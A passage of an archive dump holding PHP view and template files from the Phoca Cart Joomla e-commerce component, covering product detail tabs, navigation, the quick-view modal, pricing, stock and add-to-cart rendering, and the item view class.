}
// TABS PLUGIN
if (!empty($this->t['event']->onItemInsideTabPanel)
&&
is_array($this->t['event']->onItemInsideTabPanel)) {
foreach($this->t['event']->onItemInsideTabPanel as $k
=> $v) {
if (isset($v['title']) && isset($v['alias'])
&& isset($v['content'])) {
$tabLiO .= '<li
class="'.$this->s['c']['nav-item'].'
'.$activeTab.'"><a
href="#'.strip_tags($v['alias']).'"
data-toggle="tab"
class="'.$this->s['c']['nav-link'].'
'.$active.'">'.$v['title'].'</a></li>';
$tabO .= '<div
class="'.$this->s['c']['tabpane'].'
ph-tab-pane '.$active.'"
id="'.strip_tags($v['alias']).'">';
$tabO .= $v['content'];
$tabO .= '</div>';
$active = $activeTab = '';
}
}
}
if ($tabLiO != '') {
echo '<ul
class="'.$this->s['c']['tabnav'].'">';
echo $tabLiO;
echo '</ul>';
}
if ($tabO != '') {
echo '<div
class="'.$this->s['c']['tabcontent'].'">';
echo $tabO;
echo '</div>';
}
echo '</div>'; // end row 2 (bottom)
echo $this->t['event']->onItemAfterTabs;
// TAGS
if ($this->t['tags_output'] != '') {
echo '<div class="ph-cb"></div>';
echo '<div class="ph-item-tag-box">';
echo '<h3>Tags</h3>';
echo $this->t['tags_output'];
echo '</div>';
}
// PARAMETERS
if ($this->t['parameters_output'] != '') {
echo '<div class="ph-cb"></div>';
echo '<div class="ph-item-parameter-box">';
echo $this->t['parameters_output'];
echo '</div>';
}
echo '<div class="ph-cb"></div>';
}
if ((isset($this->itemnext[0]) && $this->itemnext[0]) ||
(isset($this->itemprev[0]) && $this->itemprev[0])) {
echo '<div
class="'.$this->s['c']['row'].'">';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-item-navigation-box">';
if(isset($this->itemprev[0]) && $this->itemprev[0]) {
$p = $this->itemprev[0];
$title = '';
$titleT = JText::_('COM_PHOCACART_PREVIOUS_PRODUCT'). '
('. $p->title.')';
if ($this->t['title_next_prev'] == 1) {
$title = $titleT;
} else if ($this->t['title_next_prev'] == 2) {
$title = JText::_('COM_PHOCACART_PREVIOUS_PRODUCT');
} else if ($this->t['title_next_prev'] == 3) {
$title = $p->title;
}
$linkPrev = JRoute::_(PhocacartRoute::getItemRoute($p->id,
$p->categoryid, $p->alias, $p->categoryalias));
echo '<div
class="'.$this->s['c']['pull-left'].'">';
echo '<a href="'.$linkPrev.'"
class="'.$this->s['c']['btn.btn-default'].'
ph-item-navigation" role="button"
title="'.$titleT.'"><span
class="'.$this->s['i']['prev'].'"></span>
'.$title.'</a>';
echo '</div>';
}
echo '</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'
ph-item-navigation-box">';
echo '</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'
ph-item-navigation-box">';
echo '</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-item-navigation-box">';
if(isset($this->itemnext[0]) && $this->itemnext[0]) {
$n = $this->itemnext[0];
$title = '';
$titleT = JText::_('COM_PHOCACART_NEXT_PRODUCT'). '
('. $n->title.')';
if ($this->t['title_next_prev'] == 1) {
$title = $titleT;
} else if ($this->t['title_next_prev'] == 2) {
$title = JText::_('COM_PHOCACART_NEXT_PRODUCT');
} else if ($this->t['title_next_prev'] == 3) {
$title = $n->title;
}
$linkNext = JRoute::_(PhocacartRoute::getItemRoute($n->id,
$n->categoryid, $n->alias, $n->categoryalias));
echo '<div
class="'.$this->s['c']['pull-right'].'">';
echo '<a href="'.$linkNext.'"
class="'.$this->s['c']['btn.btn-default'].'
ph-item-navigation" role="button"
title="'.$titleT.'">'.$title.' <span
class="'.$this->s['i']['next'].'"></span></a>';
echo '</div>';
}
echo '</div>';
echo '</div>';
}
echo '</div>';
echo '<div id="phContainer"></div>';
if ($popupAskAQuestion == 2) {
echo '<div id="phContainerPopup">';
$d = array();
$d['id'] = 'phAskAQuestionPopup';
$d['title'] =
JText::_('COM_PHOCACART_ASK_A_QUESTION');
$d['icon'] =
$this->s['i']['question-sign'];
$d['t'] = $this->t;
$d['s'] = $this->s;
echo $layoutAAQ->render($d);
echo '</div>';// end phContainerPopup
}
echo '<div> </div>';
echo PhocacartUtilsInfo::getInfo();
?>
item/tmpl/default.xml000064400000002414151165727040010635 0ustar00<?xml
version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_PHOCACART_ITEM_LAYOUT">
<message>
<![CDATA[COM_PHOCACART_ITEM_LAYOUT_DESC]]>
</message>
</layout>
<name>COM_PHOCACART_ITEM_LAYOUT</name>
<description>COM_PHOCACART_ITEM_LAYOUT_DESC</description>
<fields name="request">
<fieldset name="request"
addfieldpath="/administrator/components/com_phocacart/models/fields">
<field
name="id"
type="phocaselectitem"
section="com_phocacart"
class="inputbox"
default=""
label="COM_PHOCACART_FIELD_SELECT_PRODUCT_LABEL"
description="COM_PHOCACART_FIELD_SELECT_PRODUCT_DESC"
required="true"
multiple="false"
filter="integer"
/>
<field
name="catid"
type="phocaselectitemcategory"
section="com_phocacart"
class="inputbox"
default="1"
label="COM_PHOCACART_FIELD_CATEGORY_LABEL"
description="COM_PHOCACART_FIELD_CATEGORY_DESC"
required="true"
multiple="false"
filter="integer"
/>
</fieldset>
</fields>
</metadata>item/tmpl/default_quickview.php000064400000031441151165727040012715
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutP = new JLayoutFile('product_price', null,
array('component' => 'com_phocacart'));
$layoutS = new JLayoutFile('product_stock', null,
array('component' => 'com_phocacart'));
$layoutA = new JLayoutFile('button_add_to_cart_item', null,
array('component' => 'com_phocacart'));
$layoutA2 = new JLayoutFile('button_buy_now_paddle', null,
array('component' => 'com_phocacart'));
$layoutA3 = new JLayoutFile('button_external_link', null,
array('component' => 'com_phocacart'));
//$layoutQV = new JLayoutFile('popup_quickview', null,
array('component' => 'com_phocacart'));
$layoutAB = new JLayoutFile('attribute_options_box', null,
array('component' => 'com_phocacart'));
$layoutPOQ = new JLayoutFile('product_order_quantity', null,
array('component' => 'com_phocacart'));
$layoutI = new JLayoutFile('image', null,
array('component' => 'com_phocacart'));
$close = '<button type="button" class="close"
aria-label="'.JText::_('COM_PHOCACART_CLOSE').'"
data-dismiss="modal" ><span
aria-hidden="true">×</span></button>';
$x = $this->item[0];
?>
<div id="phQuickViewPopup" class="<?php echo
$this->s['c']['modal.zoom'] ?>"
tabindex="-1" role="dialog"
aria-labelledby="myModalLabel" aria-hidden="true">
<div class="<?php echo
$this->s['c']['modal-dialog'] ?> <?php echo
$this->s['c']['modal-lg'] ?>">
<div class="<?php echo
$this->s['c']['modal-content'] ?>">
<div class="<?php echo
$this->s['c']['modal-header'] ?>">
<?php echo $this->s['c']['class-type']
!= 'bs4' ? $close : '' ?>
<h4><span class="<?php echo
$this->s['i']['quick-view']
?>"></span> <?php echo
JText::_('COM_PHOCACART_QUICK_VIEW'); ?></h4>
<?php echo
$this->s['c']['class-type'] == 'bs4' ?
$close : '' ?>
</div>
<div class="<?php echo
$this->s['c']['modal-body'] ?>"><?php
//echo '<h1>'.$x->title.'</h1>';
echo '<div class="row">';
// === IMAGE PANEL
echo '<div id="phImageBox"
class="'.$this->s['c']['col.xs12.sm6.md6'].'">';
$idName = 'VItemQuickP'.(int)$x->id;
$label = PhocacartRenderFront::getLabel($x->date, $x->sales,
$x->featured);
// IMAGE
$image =
PhocacartImage::getThumbnailName($this->t['pathitem'],
$x->image, 'large');// Image
$imageL =
PhocacartImage::getThumbnailName($this->t['pathitem'],
$x->image, 'large');// Image Link to enlarge
// Some of the attribute is selected - this attribute include image so the
image should be displayed instead of default
$imageA =
PhocaCartImage::getImageChangedByAttributes($this->t['attr_options'],
'large');
if ($imageA != '') {
$image =
PhocacartImage::getThumbnailName($this->t['pathitem'],
$imageA, 'large');
$imageL =
PhocacartImage::getThumbnailName($this->t['pathitem'],
$imageA, 'large');
}
$link = JURI::base(true).'/'.$imageL->rel;
if (isset($image->rel) && $image->rel != '') {
echo '<div class="ph-item-image-full-box
'.$label['cssthumbnail'].'">';
echo '<div class="ph-label-box">';
echo $label['new'] . $label['hot'] .
$label['feat'];
if ($this->t['taglabels_output'] != '') {
echo $this->t['taglabels_output'];
}
echo '</div>';
$altValue = PhocaCartImage::getAltTitle($x->title, $x->image);
//echo '<a href="'.$link.'"
'.$this->t['image_rel'].'>';
// In Quic View there is no linking of image
// 1) but we use A TAG in javascript jquery.phocaswapimage.js se we need A
TAG HERE but we make it inactive
// 2) we need to do it inactive for switching images which comes with
links
// and this we will do per customHref in function Display:
function(imgBox, form, select, customHref) {
// custom href will be javascript:void(0); see this file, line cca 286
phSIO1'.(int)$formId.'.Init
echo '<a href="javascript:void(0);"
'.$this->t['image_rel'].'
class="phjProductHref'.$idName.'"
data-href="'.$link.'">';
$d = array();
$d['t'] = $this->t;
$d['s'] = $this->s;
$d['src'] =
JURI::base(true).'/'.$image->rel;
$d['srcset-webp'] =
JURI::base(true).'/'.$image->rel_webp;
$d['data-image'] =
JURI::base(true).'/'.$image->rel;// Default image - when
changed by javascript back to default
$d['data-image-webp'] =
JURI::base(true).'/'.$image->rel_webp;// Default image - when
changed by javascript back to default
$d['alt-value'] = PhocaCartImage::getAltTitle($x->title,
$image->rel);
$d['class'] =
PhocacartRenderFront::completeClass(array($this->s['c']['img-responsive'],
$label['cssthumbnail2'], 'ph-image-full',
'phjProductImage'.$idName));
$d['style'] = '';
if (isset($this->t['image_width']) &&
(int)$this->t['image_width'] > 0 &&
isset($this->t['image_height']) &&
(int)$this->t['image_height'] > 0) {
$d['style'] =
'width:'.$this->t['image_width'].'px;height:'.$this->t['image_height'].'px';
}
echo $layoutI->render($d);
echo '</a>';
echo '</div>'. "\n";
}
echo '</div>';// end image panel
// === PRICE PANEL
echo '<div
class="'.$this->s['c']['col.xs12.sm6.md6'].'
ph-item-price-panel">';
$title = '';
if (isset($x->title) && $x->title != '') {
$title = $x->title;
}
echo PhocacartRenderFront::renderHeader(array($title));
// :L: PRICE
$price = new PhocacartPrice;// Can be used by options
if ($this->t['can_display_price']) {
$d = array();
$d['s'] = $this->s;
$d['type'] = $x->type;// PRODUCTTYPE
$d['priceitems'] = $price->getPriceItems($x->price,
$x->taxid, $x->taxrate, $x->taxcalculationtype, $x->taxtitle,
$x->unit_amount, $x->unit_unit, 1, 1, $x->group_price);
$price->getPriceItemsChangedByAttributes($d['priceitems'],
$this->t['attr_options'], $price, $x);
$d['priceitemsorig']= array();
if ($x->price_original != '' && $x->price_original
> 0) {
$d['priceitemsorig'] =
$price->getPriceItems($x->price_original, $x->taxid,
$x->taxrate, $x->taxcalculationtype);
}
$d['class'] = 'ph-item-price-box';
$d['product_id'] = (int)$x->id;
$d['typeview'] = 'ItemQuick';
// Display discount price
// Move standard prices to new variable (product price -> product
discount)
$d['priceitemsdiscount'] = $d['priceitems'];
$d['discount'] =
PhocacartDiscountProduct::getProductDiscountPrice($x->id,
$d['priceitemsdiscount']);
// Display cart discount (global discount) in product views - under
specific conditions only
// Move product discount prices to new variable (product price ->
product discount -> product discount cart)
$d['priceitemsdiscountcart'] =
$d['priceitemsdiscount'];
$d['discountcart'] =
PhocacartDiscountCart::getCartDiscountPriceForProduct($x->id,
$x->catid, $d['priceitemsdiscountcart']);
$d['zero_price'] = 1;// Apply zero price if possible
echo$layoutP->render($d);
}
if ( isset($x->description) && $x->description !=
'') {
echo '<div class="ph-desc">'.
Joomla\CMS\HTML\HTMLHelper::_('content.prepare',
$x->description). '</div>';
}
// REWARD POINTS - NEEDED
$pointsN = PhocacartReward::getPoints($x->points_needed,
'needed');
if ($pointsN) {
echo '<div class="ph-item-reward-box">';
echo '<div
class="ph-reward-txt">'.JText::_('COM_PHOCACART_PRICE_IN_REWARD_POINTS').'</div>';
echo '<div
class="ph-reward">'.$pointsN.'</div>';
echo '</div>';
echo '<div class="ph-cb"></div>';
}
// REWARD POINTS - RECEIVED
$pointsR = PhocacartReward::getPoints($x->points_received,
'received', $x->group_points_received);
if ($pointsR) {
echo '<div class="ph-item-reward-box">';
echo '<div
class="ph-reward-txt">'.JText::_('COM_PHOCACART_REWARD_POINTS').'</div>';
echo '<div
class="ph-reward">'.$pointsR.'</div>';
echo '</div>';
echo '<div class="ph-cb"></div>';
}
if (isset($x->manufacturertitle) && $x->manufacturertitle !=
'') {
echo '<div class="ph-item-manufacturer-box">';
echo '<div
class="ph-manufacturer-txt">'.JText::_('COM_PHOCACART_MANUFACTURER').':</div>';
echo '<div class="ph-manufacturer">';
echo PhocacartRenderFront::displayLink($x->manufacturertitle,
$x->manufacturerlink);
echo '</div>';
echo '</div>';
echo '<div class="ph-cb"></div>';
}
// STOCK ===================================================
// Set stock: product, variations, or advanced stock status
$class_btn = '';
$class_icon = '';
$this->stock =
PhocacartStock::getStockItemsChangedByAttributes($this->t['stock_status'],
$this->t['attr_options'], $x);
if ($this->t['display_stock_status'] == 1 ||
$this->t['display_stock_status'] == 3) {
if ($this->t['hide_add_to_cart_stock'] == 1 &&
(int)$this->stock < 1) {
$class_btn = 'ph-visibility-hidden';
$class_icon = 'ph-display-none';
}
if($this->t['stock_status']['stock_status'] ||
$this->t['stock_status']['stock_count'] !== false)
{
$d = array();
$d['s'] = $this->s;
$d['class'] = 'ph-item-stock-box';
$d['product_id'] = (int)$x->id;
$d['typeview'] = 'ItemQuick';
$d['stock_status_output'] =
PhocacartStock::getStockStatusOutput($this->t['stock_status']);
echo $layoutS->render($d);
}
if($this->t['stock_status']['min_quantity']) {
$dPOQ = array();
$dPOQ['s'] = $this->s;
$dPOQ['text'] =
JText::_('COM_PHOCACART_MINIMUM_ORDER_QUANTITY');
$dPOQ['status'] =
$this->t['stock_status']['min_quantity'];
echo $layoutPOQ->render($dPOQ);
}
if($this->t['stock_status']['min_multiple_quantity'])
{
$dPOQ = array();
$dPOQ['s'] = $this->s;
$dPOQ['text'] =
JText::_('COM_PHOCACART_MINIMUM_MULTIPLE_ORDER_QUANTITY');
$dPOQ['status'] =
$this->t['stock_status']['min_multiple_quantity'];
echo $layoutPOQ->render($dPOQ);
}
}
// END STOCK ================================================
// This form can get two events:
// when option selected - price or image is changed id=phItemPriceBoxForm
// when ajax cart is active and submit button is clicked
class=phItemCartBoxForm
//
echo '<form
id="phCartAddToCartButton'.(int)$x->id.'"
class="phItemCartBoxForm phjAddToCart phjItemQuick
phjAddToCartVItemQuickP'.(int)$x->id.' form-inline"
action="'.$this->t['linkcheckout'].'"
method="post">';
// data-id="'.(int)$x->id.'" - needed for dynamic
change of price in quick view, we need to get the ID per javascript
// because Quick View = Items, Category View and there are more products
listed, not like in item id
// ATTRIBUTES, OPTIONS
$d = array();
$d['s'] = $this->s;
$d['attr_options'] = $this->t['attr_options'];
$d['hide_attributes'] =
$this->t['hide_attributes_item'];
$d['dynamic_change_image'] =
$this->t['dynamic_change_image'];
$d['remove_select_option_attribute'] =
$this->t['remove_select_option_attribute'];
$d['zero_attribute_price'] =
$this->t['zero_attribute_price'];
$d['pathitem'] = $this->t['pathitem'];
$d['init_type'] = 1;
$d['product_id'] = (int)$x->id;
$d['image_size'] = 'large';
$d['price'] = $price;
$d['typeview'] = 'ItemQuick';
echo $layoutAB->render($d);
// :L: ADD TO CART
$addToCartHidden = 0;// Button can be hidden based on price
if ($x->type == 3) {
// PRODUCTTYPE - price on demand price cannot be added to cart
$addToCartHidden = 1;
} else if ($this->t['hide_add_to_cart_zero_price'] == 1
&& $x->price == 0) {
// Don't display Add to Cart in case the price is zero
$addToCartHidden = 1;
} else if ((int)$this->t['item_addtocart'] == 1 ||
(int)$this->t['item_addtocart'] == 4) {
$d = array();
$d['s'] = $this->s;
$d['id'] = (int)$x->id;
$d['catid'] = $this->t['catid'];
$d['return'] = $this->t['actionbase64'];
$d['addtocart'] = $this->t['item_addtocart'];
$d['typeview'] = 'ItemQuick';
$d['class_btn'] = $class_btn;
$d['class_icon'] = $class_icon;
echo$layoutA->render($d);
} else if ((int)$this->t['item_addtocart'] == 2 &&
(int)$x->external_id != '') {
$d = array();
$d['s'] = $this->s;
$d['external_id'] = (int)$x->external_id;
$d['return'] = $this->t['actionbase64'];
echo$layoutA2->render($d);
} else if ((int)$this->t['item_addtocart'] == 3 &&
$x->external_link != '') {
$d = array();
$d['s'] = $this->s;
$d['external_link'] = $x->external_link;
$d['external_text'] = $x->external_text;
$d['return'] = $this->t['actionbase64'];
echo $layoutA3->render($d);
}
echo '</form>';
echo '<div class="ph-cb"></div>';
// TAGS
if ($this->t['tags_output'] != '') {
echo '<div class="ph-item-tag-box">';
echo $this->t['tags_output'];
echo '</div>';
echo '<div class="ph-cb"></div>';
}
echo '</div>';// end right side price panel
echo '</div>';// end row
?></div>
<div class="<?php echo
$this->s['c']['modal-footer']
?>"></div>
</div>
</div>
</div>
item/tmpl/index.html000064400000000054151165727040010462
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>item/view.html.php000064400000031567151165727040010154
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
jimport( 'joomla.filesystem.folder' );
jimport( 'joomla.filesystem.file' );
class PhocaCartViewItem extends JViewLegacy
{
protected $item;
protected $itemnext;
protected $itemprev;
protected $category;
protected $t;
protected $r;
protected $p;
protected $u;
protected $s;
function display($tpl = null){
$app = JFactory::getApplication();
//D $menus = $app->getMenu('site', array());
//D $items = $menus->getItems('component',
'com_phocacart');
$app = JFactory::getApplication();
$this->p = $app->getParams();
$this->u = PhocacartUser::getUser();
$this->s = PhocacartRenderStyle::getStyles();
$uri = \Joomla\CMS\Uri\Uri::getInstance();
$model = $this->getModel();
//D $document = JFactory::getDocument();
$id = $app->input->get('id', 0, 'int');
$catid = $app->input->get('catid', 0,
'int');
$this->category = $model->getCategory($id, $catid);
$this->item = $model->getItem($id, $catid);
$this->t['catid'] = 0;
if (isset($this->category[0]->id)) {
$this->t['catid'] = (int)$this->category[0]->id;
}
// PARAMS
$this->t['tax_calculation'] = $this->p->get(
'tax_calculation', 0 );
$this->t['cart_metakey'] = $this->p->get(
'cart_metakey', '' );
$this->t['cart_metadesc'] = $this->p->get(
'cart_metadesc', '' );
$this->t['display_back'] = $this->p->get(
'display_back', 3 );
//$this->t['enable_social'] = $this->p->get(
'enable_social', 0 );
$this->t['enable_item_navigation'] = $this->p->get(
'enable_item_navigation', 0 );
$this->t['item_addtocart'] = $this->p->get(
'item_addtocart', 1 );
//$this->t['add_cart_method'] = $this->p->get(
'add_cart_method', 0 );
$this->t['enable_review'] = $this->p->get(
'enable_review', 1 );
$this->t['dynamic_change_image'] = $this->p->get(
'dynamic_change_image', 0);
$this->t['dynamic_change_price'] = $this->p->get(
'dynamic_change_price', 0 );
$this->t['dynamic_change_stock'] = $this->p->get(
'dynamic_change_stock', 0 );
$this->t['dynamic_change_id'] = $this->p->get(
'dynamic_change_id', 0 );
$this->t['remove_select_option_attribute']=
$this->p->get( 'remove_select_option_attribute', 1 );
$this->t['image_popup_method'] = $this->p->get(
'image_popup_method', 1 );
$this->t['display_compare'] = $this->p->get(
'display_compare', 0 );
$this->t['display_wishlist'] = $this->p->get(
'display_wishlist', 0 );
$this->t['add_compare_method'] = $this->p->get(
'add_compare_method', 0 );
$this->t['add_wishlist_method'] = $this->p->get(
'add_wishlist_method', 0 );
$this->t['hide_addtocart'] = $this->p->get(
'hide_addtocart', 0 );
$this->t['hide_attributes_item'] = $this->p->get(
'hide_attributes_item', 0 );
$this->t['hide_attributes'] = $this->p->get(
'hide_attributes', 0 );
$this->t['item_askquestion'] = $this->p->get(
'item_askquestion', 0 );
$this->t['popup_askquestion'] = $this->p->get(
'popup_askquestion', 1 );
$this->t['title_next_prev'] = $this->p->get(
'title_next_prev', 1 );
$this->t['display_public_download'] =
$this->p->get( 'display_public_download', 1 );
$this->t['display_file_play'] = $this->p->get(
'display_file_play', 1 );
$this->t['display_external_link'] = $this->p->get(
'display_external_link', 1 );
$this->t['enable_rewards'] = $this->p->get(
'enable_rewards', 1 );
$this->t['enable_price_history'] = $this->p->get(
'enable_price_history', 0 );
$this->t['display_stock_status'] = $this->p->get(
'display_stock_status', 1 );
$this->t['item_display_delivery_date'] =
$this->p->get( 'item_display_delivery_date', 0 );
$this->t['item_display_size_options'] =
$this->p->get( 'item_display_size_options', 0 );
$this->t['hide_add_to_cart_stock'] =
$this->p->get( 'hide_add_to_cart_stock', 0 );
$this->t['zero_attribute_price'] = $this->p->get(
'zero_attribute_price', 1 );
$this->t['hide_add_to_cart_zero_price'] =
$this->p->get( 'hide_add_to_cart_zero_price', 0 );
$this->t['display_webp_images'] = $this->p->get(
'display_webp_images', 0 );
$this->t['item_display_labels'] = $this->p->get(
'item_display_labels', 2 );
$this->t['item_display_tags'] = $this->p->get(
'item_display_tags', 1 );
$this->t['item_display_parameters'] = $this->p->get(
'item_display_parameters', 0 );
// Rights or catalogue options --------------------------------
$rights = new PhocacartAccessRights();
$this->t['can_display_price'] =
$rights->canDisplayPrice();
$this->t['can_display_addtocart'] =
$rights->canDisplayAddtocart();
$this->t['can_display_attributes'] =
$rights->canDisplayAttributes();
if (!$this->t['can_display_addtocart']) {
$this->t['item_addtocart'] = 0;
//$this->t['display_addtocart_icon'] = 0;
//$this->t['hide_attributes_category']= 1; Should be
displayed or not?
}
if (!$this->t['can_display_attributes']) {
$this->t['hide_attributes_item'] = 1;
}
// ------------------------------------------------------------
if (!isset($this->item[0]->id) || (isset($this->item[0]->id)
&& $this->item[0]->id < 1)) {
header("HTTP/1.0 404
".JText::_('COM_PHOCACART_NO_PRODUCT_FOUND'));
echo '<div class="alert
alert-error">'.JText::_('COM_PHOCACART_NO_PRODUCT_FOUND').'</div>';
} else {
$this->t['add_images'] =
PhocacartImage::getAdditionalImages((int)$id);
$this->t['rel_products'] =
PhocacartRelated::getRelatedItemsById((int)$id, 0, 1);
$this->t['tags_output'] =
PhocacartTag::getTagsRendered((int)$id,
$this->t['item_display_tags'], ' ');
$this->t['taglabels_output'] =
PhocacartTag::getTagsRendered((int)$id,
$this->t['item_display_labels'], ' ');
$this->t['stock_status'] = array();
//$this->t['stock_status'] =
PhocacartStock::getStockStatus((int)$this->item[0]->stock,
(int)$this->item[0]->min_quantity,
(int)$this->item[0]->min_multiple_quantity,
(int)$this->item[0]->stockstatus_a_id,
(int)$this->item[0]->stockstatus_n_id);
//$this->t['stock_status_output'] =
PhocacartStock::getStockStatusOutput($this->t['stock_status']);
$this->t['attr_options'] =
$this->t['hide_attributes_item'] == 0 ?
PhocacartAttribute::getAttributesAndOptions((int)$id) : array();
$this->t['specifications'] =
PhocacartSpecification::getSpecificationGroupsAndSpecifications((int)$id);
$this->t['reviews'] =
PhocacartReview::getReviewsByProduct((int)$id);
if ($this->t['enable_price_history']) {
$this->t['price_history_data'] =
PhocacartPriceHistory::getPriceHistoryChartById((int)$id);
}
$this->t['parameters_output'] =
PhocacartParameter::getParametersRendered((int)$id,
$this->t['item_display_parameters']);
$this->t['action'] = $uri->toString();
//$this->t['actionbase64'] =
base64_encode(htmlspecialchars($this->t['action']));
$this->t['actionbase64'] =
base64_encode($this->t['action']);
$this->t['linkcheckout'] =
JRoute::_(PhocacartRoute::getCheckoutRoute((int)$this->item[0]->id,
(int)$this->category[0]->id));
$this->t['linkitem'] =
JRoute::_(PhocacartRoute::getItemRoute((int)$this->item[0]->id,
(int)$this->category[0]->id));
$this->t['linkcomparison'] =
JRoute::_(PhocacartRoute::getComparisonRoute((int)$this->item[0]->id,
(int)$this->category[0]->id));
$this->t['linkwishlist'] =
JRoute::_(PhocacartRoute::getWishListRoute((int)$this->item[0]->id,
(int)$this->category[0]->id));
$this->t['linkdownload'] =
JRoute::_(PhocacartRoute::getDownloadRoute((int)$this->item[0]->id,
(int)$this->category[0]->id));
$this->itemnext[0] = false;
$this->itemprev[0] = false;
if ($this->t['enable_item_navigation'] == 1) {
if (isset($this->item[0]->ordering) &&
isset($this->item[0]->catid) &&
isset($this->item[0]->id) && $this->item[0]->catid >
0 && $this->item[0]->id > 0) {
$this->itemnext =
$model->getItemNext($this->item[0]->ordering,
$this->item[0]->catid);
$this->itemprev =
$model->getItemPrev($this->item[0]->ordering,
$this->item[0]->catid);
}
}
$media = PhocacartRenderMedia::getInstance('main');
$media->loadBase();
$media->loadChosen();
$media->loadRating();
$media->loadPhocaSwapImage();
$media->loadPhocaAttribute(1);
$media->loadTouchSpin('quantity',
$this->s['i']);// only css, js will be loaded in ajax success
if ($this->t['popup_askquestion'] == 1) {
$media->loadWindowPopup();
}
if ($this->t['image_popup_method'] == 2) {
$media->renderMagnific();
$this->t['image_rel'] =
'rel="magnific"';
$this->t['image_class'] = 'magnific';
} else if ($this->t['image_popup_method'] == 1) {
$media->renderPrettyPhoto();
$this->t['image_rel'] =
'rel="prettyPhoto[pc_gal1]"';
$this->t['image_class'] = '';
} else {
// None
$this->t['image_rel'] = '';
$this->t['image_class'] = '';
}
if ($this->t['hide_attributes_item'] == 0) {
$media->loadPhocaAttributeRequired(1); // Some of the attribute can
be required and can be a image checkbox
}
/* if ($this->t['dynamic_change_id'] == 1) {
PhocacartRenderJs::renderAjaxChangeProductIdByOptions((int)$this->item[0]->id,
'Item', 'ph-item-id-box');
}
if ($this->t['dynamic_change_price'] == 1) {
PhocacartRenderJs::renderAjaxChangeProductPriceByOptions((int)$this->item[0]->id,
'Item', 'ph-item-price-box');
}
if ($this->t['dynamic_change_stock'] == 1) {
PhocacartRenderJs::renderAjaxChangeProductStockByOptions((int)$this->item[0]->id,
'Item', 'ph-item-stock-box');
}*/
/*if ($this->t['dynamic_change_id'] == 1 ||
$this->t['dynamic_change_price'] == 1 ||
$this->t['dynamic_change_stock'] == 1) {
PhocacartRenderJs::renderAjaxChangeProductDataByOptions((int)$this->item[0]->id,
'Item', 'ph-item-data-box');
}*/
PhocacartRenderJs::renderAjaxAddToCart();
//PhocacartRenderJs::renderAjaxUpdateCart();// used only in POS
PhocacartRenderJs::renderAjaxAddToCompare();
PhocacartRenderJs::renderAjaxAddToWishList();
PhocacartRenderJs::renderAjaxAskAQuestion();
$media->loadSpec();
if (isset($this->category[0]) &&
is_object($this->category[0]) && isset($this->item[0])
&& is_object($this->item[0])){
$this->_prepareDocument($this->category[0], $this->item[0]);
}
$this->t['pathitem'] =
PhocacartPath::getPath('productimage');
$this->t['pathpublicfile'] =
PhocacartPath::getPath('publicfile');
}
$model->hit((int)$id);
PhocacartStatisticsHits::productHit((int)$id);
// Plugins ------------------------------------------
JPluginHelper::importPlugin('pcv');
//$this->t['dispatcher'] = J
EventDispatcher::getInstance();
$this->t['event'] = new stdClass;
$results =
\JFactory::getApplication()->triggerEvent('PCVonItemBeforeHeader',
array('com_phocacart.item', &$this->item,
&$this->p));
$this->t['event']->onItemBeforeHeader =
trim(implode("\n", $results));
$results =
\JFactory::getApplication()->triggerEvent('PCVonItemAfterAddToCart',
array('com_phocacart.item', &$this->item,
&$this->p));
$this->t['event']->onItemAfterAddToCart =
trim(implode("\n", $results));
$results =
\JFactory::getApplication()->triggerEvent('PCVonItemBeforeEndPricePanel',
array('com_phocacart.item', &$this->item,
&$this->p));
$this->t['event']->onItemBeforeEndPricePanel =
trim(implode("\n", $results));
$results =
\JFactory::getApplication()->triggerEvent('PCVonItemInsideTabPanel',
array('com_phocacart.item', &$this->item,
&$this->p));
$this->t['event']->onItemInsideTabPanel = $results;
$results =
\JFactory::getApplication()->triggerEvent('PCVonItemAfterTabs',
array('com_phocacart.item', &$this->item,
&$this->p));
$this->t['event']->onItemAfterTabs =
trim(implode("\n", $results));
// Some payment plugins want to display specific information in detail
view
JPluginHelper::importPlugin('pcp');
$results =
\JFactory::getApplication()->triggerEvent('PCPonItemBeforeEndPricePanel',
array('com_phocacart.item', &$this->item,
&$this->p));
$this->t['event']->PCPonItemBeforeEndPricePanel =
trim(implode("\n", $results));
// END Plugins --------------------------------------
parent::display($tpl);
}
protected function _prepareDocument() {
$category = false;
if (isset($this->category[0]) &&
is_object($this->category[0])) {
$category = $this->category[0];
}
$item = false;
if (isset($this->item[0]) && is_object($this->item[0])) {
$item = $this->item[0];
}
PhocacartRenderFront::prepareDocument($this->document, $this->p,
$category, $item);
}
}
?>
item/view.json.php000064400000016507151165727040010156 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
jimport( 'joomla.filesystem.folder' );
jimport( 'joomla.filesystem.file' );
class PhocaCartViewItem extends JViewLegacy
{
protected $item;
protected $itemnext;
protected $itemprev;
protected $category;
protected $t;
protected $r;
protected $p;
protected $u;
protected $s;
function display($tpl = null){
if (!JSession::checkToken('request')) {
$response = array(
'status' => '0',
'error' => '<span class="ph-result-txt
ph-error-txt">' . JText::_('JINVALID_TOKEN') .
'</span>');
echo json_encode($response);
return;
}
$app = JFactory::getApplication();
$menus = $app->getMenu('site', array());
$items = $menus->getItems('component',
'com_phocacart');
$app = JFactory::getApplication();
